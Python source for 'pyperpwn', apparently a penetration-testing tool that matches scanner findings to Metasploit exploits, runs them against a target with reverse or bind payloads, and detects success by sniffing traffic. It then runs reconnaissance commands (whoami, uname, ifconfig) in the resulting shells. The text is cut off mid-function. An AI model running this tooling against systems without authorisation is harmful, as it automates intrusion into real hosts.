class VulnReportReader:
def __init__(self):
self.console = ConsoleHandler("VulnReader")
# read the vuln report from a CSV file and return a list of Vulnerability objects
def read_csv(self, path):
self.console.info("Start reading csv file: {}".format(path))
entries = []
try:
with open(path) as csv_file:
csv_reader = csv.DictReader(csv_file, delimiter=",")
line_count = 0
for row in csv_reader:
port = -1
cvss = -1.0
try:
try:
port = int(row['Port'])
except ValueError:
self.console.warn(
"\t Cannot convert 'Port' value from vuln report at line {}"
.format(line_count))
try:
cvss = float(row['CVSS'])
except ValueError:
self.console.warn(
"\t cannot convert 'CVSS' value from vuln report at line {}"
.format(line_count))
vuln = Vulnerability(
row['IP'],
port=port,
cvss=cvss,
protocol=row['Protocol'],
cve=row['CVEs'],
bid=row['BIDs'],
name=row['Name'],
detection=row['Detection Method'],
solution_type=row['Solution Type'])
entries.append(vuln)
line_count += 1
except KeyError as e:
self.console.error(
"\t Cannot read column from report file: {}".
format(e))
raise KeyError
self.console.info(
"Read {} entries from Vulnerability Scanner Output".format(
line_count))
return entries
except (TypeError, FileNotFoundError):
self.console.error("Cannot read report file. Aborting...")
raise FileNotFoundError
class SessionHandler:
def __init__(self, msf_handler):
self.console = ConsoleHandler('Sess.Handler')
self.msf_handler = msf_handler
# checks if a session has spawned by executing the given exploits.
# return it's ID if possible, -1 otherwise
def session_check(self, exploit_path, rport):
exploit_path = "exploit/{}".format(exploit_path)
self.console.info("Start Session checker for {}".format(exploit_path))
sessions = self.msf_handler.get_all_sessions()
if len(sessions) > 0:
self.console.debug("\t session(s) discovered: {}".format(sessions))
for session_id in sessions:
if sessions[session_id][
'via_exploit'] == exploit_path and sessions[
session_id]['session_port'] == rport:
self.console.info(
"\t Got session {} via exploit {}".format(
session_id, exploit_path))
return int(session_id)
self.console.warn("\t apparently no session spawned successfully.")
return NO_SESSION_FOUND
# gather useful information for a given remote session, based on the type of session and close session afterwards
def gather_info(self, session_id, os):
os = OS.from_string(os)
session_id = str(session_id)
session_obj = self.msf_handler.get_session_obj(session_id=session_id)
shell_info = {
'info': self.msf_handler.get_session_dict(session_id).get('info')
}
if self.msf_handler.get_session_dict(
session_id=session_id).get('type') == 'meterpreter':
self.console.debug('\t discovered a meterpreter shell')
shell_info = self.run_default_meterpreter_cmds(
session=session_obj, os=os, shell_info=shell_info)
else:
self.console.debug('\t discovered a normal session')
shell_info = self.run_default_shell_cmds(shell=session_obj,
os=os,
shell_info=shell_info)
self.exit_shell(shell=session_obj)
self.close_single_session(session_id)
self.console.debug("shell info: {}".format(shell_info))
return shell_info
# run special commands if a meterpreter session is present
def run_default_meterpreter_cmds(self, session, os, shell_info):
shell_info['meterpreter: getuid'] = self.run_single_shell_cmd(
session, 'getuid')
shell_info['meterpreter: route'] = self.run_single_shell_cmd(
session, 'route')
self.downgrade_meterpreter(session)
shell_info = self.run_default_shell_cmds(session,
os,
shell_info=shell_info)
self.exit_shell(session)
return shell_info
def run_default_shell_cmds(self, shell, os, shell_info):
shell_info['whoami'] = self.run_single_shell_cmd(shell, 'whoami')
if os == OS.LINUX:
shell_info['uname -a'] = self.run_single_shell_cmd(
shell, 'uname -a')
shell_info['ifconfig'] = self.run_single_shell_cmd(
shell, 'ifconfig')
if os == OS.WINDOWS:
shell_info['ipconfig'] = self.run_single_shell_cmd(
shell, 'ipconfig')
return shell_info
def run_single_shell_cmd(self, shell, cmd):
shell.write(cmd)
try:
time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE)
shell_response = shell.read().strip()
if shell_response != '':
self.console.info(
"Received shell response to command '{}'.".format(cmd))
self.console.debug("\t {}".format(shell_response))
return shell_response
else:
self.console.info(
"Received empty shell response to command '{}'.".format(
cmd))
return None
except KeyError:
self.console.error(
"Unable to read data from console for command '{}'.".format(
cmd))
return None
@staticmethod
def only_empty_replies(shell_info):
for cmd in shell_info:
if shell_info.get(cmd) is not None:
return False
return True
def exit_shell(self, shell):
shell.write('exit')
def downgrade_meterpreter(self, meterpreter_session):
meterpreter_session.write('shell')
time.sleep(WAIT_INTERVAL_FOR_SHELL_RESPONSE)
meterpreter_session.read()
# close a single session so that pyperpwn does not get confused while future executions of this exploit
def close_single_session(self, session_id):
self.exit_shell(
self.msf_handler.get_session_obj(session_id=str(session_id)))
self.console.info(
"Automatically closed session with id {}".format(session_id))
# close all open remote sessions
def close_all_sessions(self):
sessions = self.msf_handler.get_all_sessions()
for session_id in sessions:
self.exit_shell(
self.msf_handler.get_session_obj(session_id=session_id))
self.console.info("Automatically closed {} sessions.".format(
len(sessions)))
class ExploitExecutor:
def __init__(self, msf_handler, wizard):
self.console = ConsoleHandler('ExploitExec')
self.msf_handler = msf_handler
self.wizard = wizard
# checks if non-common params are existent and returns a dict of new values in case they should be changed
def check_exploit_params(self, expl):
non_common = expl.get_non_common_params()
self.console.debug("\t all required params {}".format(expl.req_params))
self.console.debug("\t non-common params {}".format(non_common))
params = {}
if len(non_common) > 0:
check = self.console.prompt(
"Exploit has {} non-common params. Do you want to change them? [y/n]"
.format(len(non_common)))
current_expl = self.msf_handler.get_exploit(expl.path)
if check == 'y':
for param in non_common:
current_val = current_expl[param]
new_val = self.wizard.read_param_value_from_console(
param, current_val)
if new_val is not None:
params[param] = new_val
else:
self.console.debug("apparently no change is demanded")
return params
# execute an exploit with the given parameters
def execute_exploit(self,
expl,
params,
additional_params,
express=False,
execall=False):
execute = False
if not ExploitExecutor.is_private_address(params.get('rhost')):
if self.wizard.exec_expl_against_public_addr(params.get('rhost')):
execute = True
elif express or execall:
execute = True
elif self.wizard.exec_expl(expl_path=expl.path,
rhost=params.get('rhost')):
execute = True
if execute:
exploit = self.get_prepared_exploit(expl.path, params,
additional_params)
payload = self.get_prepared_payload(exploit,
params.get('lhost'),
params.get('lport'),
express=express)
is_reverse_payload = PayloadUtils.is_reverse_payload(
payload=payload)
is_staged_payload = PayloadUtils.is_staged_payload(payload=payload)
result = []
conn_supervisor = ConnectionSupervisor(
lhost=params.get('lhost'),
rhost=params.get('rhost'),
is_reverse_payload=is_reverse_payload,
is_staged_payload=is_staged_payload,
results=result,
rport=params.get('rport'),
lport=params.get('lport'))
conn_supervisor.start()
self.console.info("Set payload '{}'".format(payload.modulename))
cid = self.msf_handler.get_new_console_with_id()
self.console.info(
"Exploit is being executed using msf console {}. This might take a while."
.format(cid))
output = self.msf_handler.execute_exploit_with_output(
cid=cid, exploit=exploit, payload=payload)
self.console.info("Received exploit output")
self.console.debug(output)
conn_supervisor.join()
self.console.debug(
"ConnectionInspector detection methods: {}".format(result))
if output is None:
self.console.error("Unable to execute exploit!")
else:
self.console.info("Exploit has been run without errors.")
return {'output': output, 'detection_method': result}
else:
return {'output': None, 'detection_method': None}
return None
# get exploit object defined by 'path' with all delivered params set
def get_prepared_exploit(self, path, params, additional_params):
exploit = self.msf_handler.get_exploit(path)
try:
self.set_module_param('exploit', exploit, 'RHOST', params['rhost'])
except KeyError:
self.set_module_param_safely('exploit', exploit, 'RHOSTS',
params['rhost'])
self.set_module_param_safely('exploit', exploit, 'RPORT',
params['rport'])
self.set_module_param_safely('exploit', exploit, 'VERBOSE', True)
for key in additional_params.keys():
self.set_module_param_safely('exploit', exploit, key,
additional_params.get(key))
if len(exploit.missing_required) > 0:
self.console.warn(
"Exploit might fail because of missing parameter values: {}".
format(exploit.missing_required))
return exploit
# get the payload object to be used for execution
def get_prepared_payload(self, expl, lhost, lport, express=False):
payload_name = None
if not express:
payload_name = self.wizard.get_payload(payload_paths=expl.payloads)
if payload_name is None:
payload_name = PayloadUtils.get_prioritized_payload(expl.payloads)
self.console.info("\t Selected payload: {}".format(payload_name))
payload = self.msf_handler.get_payload(payload_path=payload_name)
self.console.debug("Payload requires those params: {}".format(
payload.required))
if 'LPORT' in payload.required:
self.set_module_param_safely('payload', payload, 'LPORT', lport)
if 'LHOST' in payload.required:
self.set_module_param_safely('payload', payload, 'LHOST', lhost)
return payload
# set a single param value for the given module, don't catch errors
def set_module_param(self, module_type, module_obj, param_name, param_val):
module_obj[param_name] = param_val
self.console.debug("\t setting {} param {} to {}".format(
module_type, param_name, param_val))
# set a single param and catch errors
def set_module_param_safely(self, module_type, module_obj, param_name,
param_val):
try:
self.set_module_param(module_type, module_obj, param_name,
param_val)
except KeyError as e:
self.console.warn("Failed to set module param: ".format(e))
# checks if the given IP address is private, returns true if yes
@staticmethod
def is_private_address(ip):
ip_parts = ip.split('.')
for i, _ in enumerate(ip_parts):
ip_parts[i] = int(ip_parts[i])
if ip_parts[0] == 10:
return True
if ip_parts[0] == 172 and 16 <= ip_parts[1] <= 31:
return True
if ip_parts[0] == 192 and ip_parts[1] == 168:
return True
return False
class ConnectionSupervisor(Thread):
proc = None
detected_syn = False
detected_synack = False
syn_seq = -1
synack_seq = -1
detected_exploit_delivery = False
detected_payload_delivery = False
detected_payload_connection = False
expl_exec_detection_method: ExplExecDetectionMethod
def __init__(self, lhost, rhost, rport, lport, is_reverse_payload, is_staged_payload, results):
Thread.__init__(self)
self.console = ConsoleHandler('ConnSuperv')
if lhost is None or rhost is None or lhost == '' or rhost == '':
raise AttributeError('You need to specify a value for rhost and lhost.')
self.lhost = lhost
self.rhost = rhost
self.rport = rport
self.lport = lport
self.is_reverse_payload = is_reverse_payload
self.is_staged_payload = is_staged_payload
self.file = open("tcpdump_log.txt", "w")
self.results = results
# Start the subprocess
def run(self):
self.console.info("Start to capture network traffic with host {}...".format(self.rhost))
self.proc = subprocess.Popen(['tcpdump', '-l', 'host', self.rhost, '-nn', '-S'],
stdout=subprocess.PIPE, stderr=subprocess.PIPE)
# -nn = don't convert addresses and port numbers to names
# -S = print absolute sequence numbers
for row in iter(self.proc.stdout.readline, b''):
line_str = row.rstrip().decode("utf-8")
self.console.debug(line_str)
self.write_to_log(line_str)
request = self.parse_tcpdump_line(line_str)
connection = self.detect_established_connection(request, self.lhost, self.rhost)
successful_exec = None
reverse_payload_req = self.detect_reverse_payload_request(request)
self.append_to_results(reverse_payload_req)
dropper_req = self.detect_dropper_request(request)
self.append_to_results(dropper_req)
if connection is not None:
self.console.debug("detected established connection with direction: {}".format(connection.direction))
successful_exec = self.detect_successful_exec(connection=connection, rport=self.rport, lport=self.lport)
if (successful_exec is not None and successful_exec != ExplExecDetectionMethod.NONE) or \
reverse_payload_req is not None or dropper_req is not None:
self.append_to_results(successful_exec)
self.console.warn("EXPLOIT HAS BEEN EXECUTED ON THE TARGET!")
self.console.info("\t detected with: {}".format(self.results[-1].name))
self.write_to_log("detected: ".format(self.results[-1].name))
# Stop the subprocess
def join(self, timeout=None):
self.console.info("Stop capturing network traffic...")
if self.proc is not None:
self.console.debug("killing subprocess with PID {}...".format(self.proc.pid))
self.proc.terminate()
self.console.debug("killed...")
self.file.close()
Thread.join(self)
# reset all connection state flags
def reset_conn_state(self):
self.detected_syn = False
self.detected_synack = False
self.syn_seq = -1
self.synack_seq = -1
# reset all execution state flags
def reset_exec_state(self):
self.detected_exploit_delivery = False
self.detected_payload_delivery = False
self.detected_payload_connection = False
@staticmethod
def remove_redundant_chars(val):
if val[:1] == '[':
val = val[1:]
if val[-1:] == ':' or val[-1:] == ']':
val = val[:-1]
return val
# parse a line of tcpdump and return a Request object or (in case of errors) an empty dict
def parse_tcpdump_line(self, line):
line = line.split(', ')
params = []
for item in line:
if item[:7] == 'options':
params.append('options')
params.append(item[8:])
else:
for elem in item.split(' '):
params.append(elem)
for i in range(len(params)):
params[i] = self.remove_redundant_chars(params[i])
if len(params) >= 7:
request = {'time': params[0], 'protocol': params[1]}
if request.get('protocol') == 'IP':
request['source_ip'] = ConnectionSupervisor.extract_ip_address(params[2])
request['source_port'] = ConnectionSupervisor.extract_port_number(params[2])
request['target_ip'] = ConnectionSupervisor.extract_ip_address(params[4])
request['target_port'] = ConnectionSupervisor.extract_port_number(params[4])
request['flags'] = params[6]
count = 7
while count + 2 <= len(params):
val = params[count + 1]
try:
val = int(val)
except ValueError:
val = str(val)
request[params[count]] = val
count += 2
return request
return {}
@staticmethod
def extract_ip_address(addr_str):
elems = addr_str.split(".")
return "{}.{}.{}.{}".format(elems[0], elems[1], elems[2], elems[3])
@staticmethod
def extract_port_number(addr_str):
try:
return int(addr_str.split(".")[4])
except (ValueError, IndexError):
return -1
# determine the direction of a given request
def get_request_direction(self, conn, lhost, rhost):
if lhost == conn.get('source_ip') and rhost == conn.get('target_ip'):
return ConnectionDirection.HOST_TO_TARGET
if lhost == conn.get('target_ip') and rhost == conn.get('source_ip'):
return ConnectionDirection.TARGET_TO_HOST
return ConnectionDirection.UNDETERMINED
# returns a Connection object as soon as a successful TCP handshake has been detected
def detect_established_connection(self, request, lhost, rhost):
flags = request.get('flags')
if flags == 'S':
self.detected_syn = True
self.syn_seq = request.get('seq')
self.console.debug("...detected SYN")
if flags == 'S.' and self.detected_syn and request.get('ack') == self.syn_seq + 1:
self.detected_synack = True
self.synack_seq = request.get('seq')
self.console.debug("...detected SYNACK")
if flags == '.' and self.detected_syn and self.detected_synack and request.get('ack') == self.synack_seq + 1:
self.console.debug("...detected ACK")
direction = self.get_request_direction(conn=request, lhost=lhost, rhost=rhost)
self.reset_conn_state()
self.console.debug(request)
connection = Connection(direction=direction, client_ip=request.get('source_ip'),
client_port=request.get('source_port'), server_ip=request.get('target_ip'),
server_port=request.get('target_port'))
return connection
return None
# detect by the given execution state and a new connection whether the exploit has already been successfully executed
def detect_successful_exec(self, connection, rport, lport):
self.console.debug("lport: {}, rport: {}".format(lport, rport))
self.console.debug(connection)
# error case
if connection is None or connection.direction == ConnectionDirection.UNDETERMINED:
return ExplExecDetectionMethod.NONE
# no matter what kind of payload, the exploit needs to be delivered first
if not self.detected_exploit_delivery and connection.direction == ConnectionDirection.HOST_TO_TARGET and connection.server_port == rport:
self.detected_exploit_delivery = True
self.console.info("Detected exploit delivery to target")
return ExplExecDetectionMethod.NONE
# to detect payload connection for single payloads:
if not self.is_staged_payload and self.detected_exploit_delivery:
# for single bind payloads
if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload: # and lport == connection.server_port
self.console.info("Detected single bind payload connection")
return ExplExecDetectionMethod.BIND_PAYLOAD_CONNECTION
# for single reverse payloads
if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port:
self.console.info("Detected single reverse payload connection")
return ExplExecDetectionMethod.REVERSE_PAYLOAD_CONNECTION
# to detect the delivery of the stage for staged payloads
if self.is_staged_payload and self.detected_exploit_delivery and not self.detected_payload_delivery:
if connection.direction == ConnectionDirection.TARGET_TO_HOST:
self.detected_payload_delivery = True
self.console.info("Reverse payload has been delivered")
return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION
# to detect the payload connection for staged payloads
if self.detected_payload_delivery and self.is_staged_payload:
if connection.direction == ConnectionDirection.HOST_TO_TARGET and not self.is_reverse_payload and lport == connection.server_port:
self.console.info("Detected staged bind payload")
if connection.direction == ConnectionDirection.TARGET_TO_HOST and self.is_reverse_payload and lport == connection.server_port:
self.console.info("Detected staged reverse payload connection")
return ExplExecDetectionMethod.PAYLOAD_STAGE_CONNECTION
return ExplExecDetectionMethod.NONE
# detect a connection attempt from a reverse payload by the given request
def detect_reverse_payload_request(self, request):
try:
if self.detected_exploit_delivery and self.is_reverse_payload and request['source_ip'] == self.rhost and \
request['target_ip'] == self.lhost and request['target_port'] == self.lport and \
request.get('flags') == 'S':
self.console.info("Detected reverse payload request.")
return ExplExecDetectionMethod.REVERSE_PAYLOAD_REQUEST
except KeyError:
pass
return None
# detect a connection attempt from the payload's dropper
def detect_dropper_request(self, request):
try:
if self.detected_exploit_delivery and self.is_staged_payload and request['source_ip'] == self.rhost and \
request['target_ip'] == self.lhost and not self.detected_payload_connection and \
request.get('flags') == 'S' and request['target_port'] != self.lport:
self.console.info("Detected request from the payload dropper")
return ExplExecDetectionMethod.PAYLOAD_STAGE_REQUEST
except KeyError:
pass
return None
def append_to_results(self, detection_method):
if detection_method is not None and detection_method is not ExplExecDetectionMethod.NONE:
self.results.append(detection_method)
# for debugging
def write_to_log(self, line):
try:
self.file.write('{} \n'.format(line))
except ValueError:
pass
class Wizard:
def __init__(self):
self.print_greeting()
self.console = ConsoleHandler("Wizard")
def get_options(self):
try:
args = self.parse_args()
args['vuln_source'] = self.check_delivered_value(
args['vuln_source'], "Vulnerability Scanner Report Path",
(lambda x: True))
args['expl_class'] = self.check_delivered_value(
args['expl_class'], "Exploit Classification File Path",
(lambda x: True))
args['rhost'] = self.check_delivered_value(
args.get('rhost'), "Remote Host IP Address",
self.check_is_ip_addr)
args['lhost'] = self.check_delivered_value(
args.get('lhost'), "Local Host IP Address",
self.check_is_ip_addr)
args['expl_rank'] = self.check_delivered_value(
args.get('expl_rank'), "Exploit minimum rank",
(lambda x: Rank.is_valid(x)))
args['expl_os'] = self.check_delivered_value(
args.get('expl_os'), "Rhost operating system",
(lambda x: OS.is_valid(x)))
args['xspeed'] = self.check_delivered_value(
int(args.get('xspeed')), "Execution speed",
(lambda x: x in [1, 2, 3]))
args['xspeed'] = Speed(args['xspeed'])
args['espeed'] = self.check_delivered_value(
int(args.get('espeed')), "Evaluation speed",
(lambda x: x in [1, 2, 3]))
args['espeed'] = Speed(args['espeed'])
args['lport'] = int(args['lport'])
self.console.debug(args)
if args.get('express'):
self.console.warn(
"EXPRESS MODE IS ENABLED. Only as few prompts as necessary will appear. Please note that using the default values might lead to worse results."
)
return args
except ValueError:
raise ValueError
@staticmethod
def parse_args():
parser = ArgumentParser(
description=
"pyperpwn - Tool to verify the success of Metasploit's exploits",
epilog='With great power comes great responsibility. Use with care.'
)
parser.add_argument("-p",
"--password",
dest="msfrpc_pwd",
help="Connect to MSFRPCD using this password",
metavar="pwd",
required=True)
parser.add_argument("-a",
"--msfhost",
dest="msfrpc_host",
help="Connect to MSFRPCD at this IP address",
metavar="ip",
default=msf_default_config.get("host"))
parser.add_argument("-P",
"--port",
dest="msfrpc_port",
help="Connect to MSFRPCD at the specified port",
metavar="port",
default=msf_default_config.get("port"))
parser.add_argument(
"-o",
"--os",
dest="expl_os",
help=
"Use only exploits developed for this OS. Currently supports 'linux' and 'windows' and 'all'.",
metavar="name")
parser.add_argument('--no-multi',
dest='expl_os_multi',
action='store_false',
help="Do not use universal exploits")
parser.set_defaults(expl_os_multi=True)
parser.add_argument("-r",
"--rank",
dest="expl_rank",
help="Use only exploits with this minimum rank",
metavar="min-rank",
default="manual")
parser.add_argument("-v",
"--vulns",
dest="vuln_source",
help="Read this report of a vulnerability scanner",
metavar="path")
parser.add_argument(
"-c",
"--class",
dest="expl_class",
help="Read this file containing an exploit classification",
metavar="path")
parser.add_argument("-x",
"--export",
dest="report_path",
help="Save the output report at this location",
metavar="path",
default="hyper_pyper_report.csv")
parser.add_argument("-t",
"--target",
dest="rhost",
help="IP address of the remote host to be tested",
metavar="ip")
parser.add_argument(
"-l",
"--lhost",
dest="lhost",
help="IP address of the local host running this script",
metavar="ip")
parser.add_argument("-w",
"--lport",
dest="lport",
help="Port number to be used for Session Handlers",
metavar="port",
default="5678")
parser.add_argument(
'-e',
dest='exec_expl',
action='store_true',
help="Only actually execute exploits if this flag is set.")
parser.add_argument(
"-xs",
"--execspeed",
dest="xspeed",
help=
"The speed level to be used for exploit execution. Can be either 1, 2 or 3. (the higher, the faster)",
metavar="1|2|3",
default="3")
parser.add_argument(
"-es",
"--evalspeed",
dest="espeed",
help=
"The speed level to be used for success evaluation. Can be either 1, 2 or 3. (the higher, the faster)",
metavar="1|2|3",
default="3")
parser.add_argument(
"-XX",
"--express",
dest="express",
action='store_true',
help=
"Execute the tool using default values and without any prompts.")
parser.add_argument(
"-XA",
"--execall",
dest="execall",
action='store_true',
help="Don't ask whether exploits should be executed.",
)
parser.set_defaults(exec_expl=False)
parser.set_defaults(express=False)
parser.set_defaults(execall=False)
args = vars(parser.parse_args())
return args
# check if the provided param value is valid, judging by the given validation function
def check_delivered_value(self, val, name, validation_fun):
if val is None:
val = self.read_option_value(name)
if validation_fun(val):
self.console.debug("setting '{}' to '{}'".format(name, val))
return val
self.console.error("\t no valid value provided for '{}'".format(name))
raise ValueError
def read_option_value(self, option_name):
param_value = self.console.prompt(
"Required option [{}] not specified. Enter a value".format(
option_name))
if len(param_value) == 0:
self.console.error("Cannot work without this parameter...")
return param_value
@staticmethod
def check_is_ip_addr(ip):
parts = ip.split('.')
if len(parts) == 4:
for part in parts:
if int(part) < 0 or int(part) > 255:
return False
return True
return False
# return the path of the manually selected payload, or None for default payload
def get_payload(self, payload_paths):
change_payload = self.console.prompt(
"Do you want to change the default payload ({} alternatives available)? [y/n]"
.format(len(payload_paths) - 1))
if change_payload == 'y':
self.console.info("\t Available payloads:")
for i in range(len(payload_paths)):
self.console.info("\t ({})\t{}".format(i, payload_paths[i]))
try:
new_payload = int(
self.console.prompt(
"Enter the number of the payload to use instead (blank for default)"
))
except ValueError:
self.console.debug(
"No number provided. Default payload will be used.")
return None
if new_payload in range(len(payload_paths)):
return payload_paths[new_payload]
self.console.warn(
"Invalid value provided. Default payload will be used.")
return None
# prompt the user for a new value for a given module param
def read_param_value_from_console(self, param_name, current_value):
param_value = self.console.prompt(
"\t [{}], current value: '{}'. Enter a new value (leave blank for default)"
.format(param_name, str(current_value)))
if len(param_value) > 0:
self.console.debug("\t setting param {} = {}".format(
param_name, param_value))
return param_value
return None
def continue_last_exec(self, ip, exec_state):
if exec_state is None:
self.console.debug(
'No matching previous unfinished execution found.')
return False
self.console.info(
"Found an unfinished execution against {}, started at {}".format(
ip,
time.strftime('%Y-%m-%d %H:%M %Z',
time.localtime(exec_state.start_time))))
continue_exec = self.console.prompt(
'Do you want to continue? "n" discards the data. [y/n]') == 'y'
if continue_exec is True:
self.console.debug(
'Continue previously unfinished execution {}'.format(
exec_state))
return continue_exec
def generate_report_now(self):
return self.console.prompt(
"Save this execution for later [c]ontinuation, [g]enerate a report now or e[x]it at any cost?"
)
def exec_expl_against_public_addr(self, rhost):
return self.console.prompt(
"Detected public IP address. Do you want to execute the exploit against {}? [y/n]"
.format(rhost)) == 'y'
def exec_expl(self, expl_path, rhost):
return self.console.prompt(
"Do you want to execute exploit '{}' against {}? [y/n]".format(
expl_path, rhost)) == 'y'
def print_expl_exec_info(self, expl_path, is_repetition):
if not is_repetition:
self.console.empty(1)
self.console.caption(
"Exploit '{}' will now be executed".format(expl_path))
else:
self.console.empty(1)
self.console.warn(
"Exploit '{}' will be re-executed since it hasn't been successful."
.format(expl_path))
def print_greeting(self):
print(
"\n====================================================================================\n"
)
print(
" $$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\ $$\ $$$$$$$\ \n"
+
"$$ __$$\ $$ | $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ | $$ |$$ __$$\ \n"
"$$ / $$ |$$ | $$ |$$ / $$ |$$$$$$$$ |$$ | \__|$$ / $$ |$$ | $$ | $$ |$$ | $$ |\n"
"$$ | $$ |$$ | $$ |$$ | $$ |$$ ____|$$ | $$ | $$ |$$ | $$ | $$ |$$ | $$ |\n"
"$$$$$$$ |\$$$$$$$ |$$$$$$$ |\$$$$$$$\ $$ | $$$$$$$ |\$$$$$\$$$$ |$$ | $$ |\n"
"$$ ____/ \____$$ |$$ ____/ \_______|\__| $$ ____/ \_____\____/ \__| \__|\n"
"$$ | $$\ $$ |$$ | $$ | \n"
"$$ | \$$$$$$ |$$ | $$ | \n"
"\__| \______/ \__| \__| \n"
)
print(
"====================================================================================\n"
)
print(
"Welcome to pyperpwn!\nPlease restart the MSFRPC daemon everytime you restart this application.\n"
)
print(
"====================================================================================\n"
)
def print_vuln_caption(self, vuln_name, cve, cvss):
self.console.empty(2)
self.console.caption(
"NOW TREATING VULNERABILITY: '{}' (CVSS: {})".format(
vuln_name, cvss))
self.console.empty(1)
class ExploitMatcher:
def __init__(self, db_handler):
self.console = ConsoleHandler("ExplMatcher")
self.db_handler = db_handler
def find_exploits_for_vuln(self, vuln, os, os_multi, rank):
matching_expl = self.get_all_exploits_for_name(vuln.name, os, os_multi) + \
self.find_exploits_by_cve(vuln.cve) + \
self.find_exploits_by_bid(vuln.bid)
if len(matching_expl) > 0:
matching_expl = self.remove_duplicates(matching_expl)
matching_expl = self.filter_by_os(os, os_multi, matching_expl)
self.console.info("Filtered exploits by OS '{}': {} left.".format(os, len(matching_expl)))
matching_expl = self.filter_by_rank(rank, matching_expl)
self.console.info("Filtered exploits by Rank '{}': {} left.".format(rank, len(matching_expl)))
matching_expl = self.sort_exploits(matching_expl)
return matching_expl
def find_exploits_by_cve(self, cve):
cves = CVEDetailParser.parse_cves(self.console, cve)
cve_expl = []
self.console.info("Searching by CVEs {}".format(cves))
if len(cves) > 0:
for cve in cves:
expl_list = self.get_all_exploits_for_cve(cve)
if expl_list is not None:
cve_expl.append(expl_list)
if len(cve_expl) == 0:
self.console.warn("\t None found.")
return cve_expl
def find_exploits_by_bid(self, bid_str):
bids = CVEDetailParser.parse_bids(bid_str)
bid_expl = []
self.console.info("Searching by BIDs {}".format(bids))
if len(bids) > 0:
for bid_str in bids:
expl = self.get_all_exploits_for_bid(bid_str)
if expl is not None:
bid_expl.append(expl)
if len(bid_expl) == 0:
self.console.warn("\t None found.")
return bid_expl
# actually perform search for exploits by CVE
def get_all_exploits_for_cve(self, cve):
expl_list = self.db_handler.search_by_cve(cve)
if len(expl_list) > 0:
self.console.info("\t Found {} exploit(s).".format(len(expl_list)))
return expl_list
return None
# actually perform search for exploits by BID
def get_all_exploits_for_bid(self, bid):
if bid == '':
return None
expl_list = self.db_handler.search_by_bid(bid)
if len(expl_list) > 0:
self.console.info("\t Found {} exploit(s).".format(len(expl_list)))
return expl_list
return None
# actually perform search for exploits by vulnerability name
def get_all_exploits_for_name(self, name, os, multi):
search_name = Exploit.improve_name(name)
self.console.info("Searching by keywords '{}'".format(search_name))
expl_list = self.db_handler.search_by_name(search_name)
expl_list = list(filter(lambda expl: expl.score >= exploit_search_config.get('min_score'), expl_list))
expl_list.sort(key=lambda x: float(x.score), reverse=True)
if len(expl_list) > exploit_search_config.get('max_count_by_name'):
self.console.debug("found too many exploits, only use the {} with the highest score.".format(
exploit_search_config.get('max_count_by_name')))
expl_list = self.filter_by_os(os=os, multi=multi, expl_list=expl_list)
expl_list = expl_list[:exploit_search_config.get('max_count_by_name')]
for expl in expl_list:
self.console.debug(
"\t \t score: {}, path: '{}', title: '{}'".format(expl.score, expl.path, expl.search_name))
if len(expl_list) > 0:
self.console.info("\t Found {} exploit(s).".format(len(expl_list)))
else:
self.console.warn("\t None found.")
return expl_list
# extrahiere Versionsnummer aus String, findet Nummern mit bis zu dreistufiger Hierarchie
@staticmethod
def get_version_number(str):
pattern = "(\d)+.(\d)(.(\d)+)?"
match = re.search(pattern, str)
if match is None:
return None
return match.group(0)
# removes all duplicates from a nested list of exploit objects
def remove_duplicates(self, expl_lists):
if expl_lists is None:
return None
expl_list = Exploit.flatten_expl_lists(expl_lists)
filtered_expl_list = []
for expl in expl_list:
unique = True
for filtered_expl in filtered_expl_list:
if expl.path == filtered_expl.path:
unique = False
if unique:
filtered_expl_list.append(expl)
self.console.info("Removed {} duplicate exploits.".format(len(expl_list) - len(filtered_expl_list)))
return filtered_expl_list
# filter the given list of exploits by operating system
def filter_by_os(self, os, multi, expl_list):
if os == 'all':
return expl_list
if os == 'linux':
if multi:
return list(
filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix' or expl.os == 'multi'), expl_list))
return list(filter(lambda expl: (expl.os == 'linux' or expl.os == 'unix'), expl_list))
elif os == 'windows':
if multi:
return list(filter(lambda expl: (expl.os == 'windows' or expl.os == 'multi'), expl_list))
return list(filter(lambda expl: expl.os == 'windows', expl_list))
else:
return []
# filter the given list of exploits by a minimum reliability ranking
def filter_by_rank(self, rank, expl_list):
return list(filter(lambda expl: self.compare_rankings(expl.rank, rank), expl_list))
# compare a given rank of a exploit to the demanded minimum rank
def compare_rankings(self, rank, min_rank):
return Rank.value_from_str(rank) >= Rank.value_from_str(min_rank)
# sort exploits by the msf module rank attribute
def sort_exploits(self, expls):
if len(expls) == 0:
return []
expls.sort(key=lambda x: Rank.value_from_str(x.rank), reverse=True)
self.console.info("Sorted exploits.")
return expls
class SuccessChecker:
def __init__(self):
self.console = ConsoleHandler("SuccessCheck")
def check(self, speed, rhost, port, uri):
res = []
iterations = EvalSpeed[speed.name].value[0]
interval = EvalSpeed[speed.name].value[1]
for iteration in range(iterations):
self.console.info("Run #{} of success checker".format(iteration))
check_result = {'ping': self.ping_check(rhost)}
check_result['nmap'] = self.nmap_check(host=rhost, port=port)
if uri is not None:
url = "{}:{}{}".format(rhost, str(port), uri)
check_result['http'] = self.http_check(url=url)
res.append(check_result)
self.console.info("\t intentionally waiting...")
time.sleep(interval)
self.console.debug(res)
return res
def ping_check(self, rhost):
self.console.debug("\t start PING checker")
param = '-n' if platform.system().lower() == 'windows' else '-c'
command = ['ping', param, '1', rhost]
with open(os.devnull, 'w') as DEVNULL:
res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL)
if res == 0:
self.console.debug("\t \t host still up and running.")
return ServiceStatus.UP_ACCESSIBLE
else:
self.console.debug("\t \t host dead.")
return ServiceStatus.DOWN
def http_check(self, url):
self.console.debug("\t start HTTP checker for {}".format(url))
command = ['curl', url, "-m", "{}".format(HTTP_CHECK_MAX_TIME)]
with open(os.devnull, 'w') as DEVNULL:
res = subprocess.call(command, stderr=DEVNULL, stdout=DEVNULL)
if res == 0:
self.console.debug("\t \t web server still up and running.")
return ServiceStatus.UP_ACCESSIBLE
else:
self.console.info("\t \t web server dead.")
return ServiceStatus.DOWN
def nmap_check(self, host, port):
